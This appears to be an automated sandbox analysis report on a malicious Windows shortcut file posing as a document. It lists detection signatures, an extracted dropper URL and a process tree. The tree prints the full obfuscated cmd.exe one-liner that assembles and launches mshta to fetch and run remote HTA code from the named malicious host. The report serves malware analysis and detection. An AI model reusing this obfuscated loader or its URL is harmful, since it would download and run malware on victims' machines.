Analysis

  • max time kernel
    58s
  • max time network
    56s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 16:01

General

  • Target
    DOC-ZFADWB.lnk
  • Size 2KB
  • Sample260817-tgjbbaej2w
  • SHA256 237aaaf4fe6d7f25cdccc4709bae87fa10ca2706185f06c5fbb62713f3d47554
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZFADWB.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5888
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set nsnbB=datlvmltdnsxawdat&set xU=tmpsknelolgdetmrstmp&set LZ=winjkqokajvuwin&set Prbi=sw8muv5&&set Fo=sy6sh3d&&set qC=jta0k&set gJR=tmpaecivhtdzkyzkwatmp&set Ppz=kg0stalbu&&set mkX=zr23t&&set QYdWr=dp4tb&set WhRuM=cfgewrznwlhqkodvsutuucfg&&set gai=ht@t@p@s://@ge@o-@pdf@fi@[email protected]@t/h/@estagio1.php?@r@=@3@3@106@1&&start /b !Prbi:~3,1!!Fo:~3,2!!qC:~1,2! !gai:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\System32\mshta.exe
        mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
        3⤵
          PID:2668

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads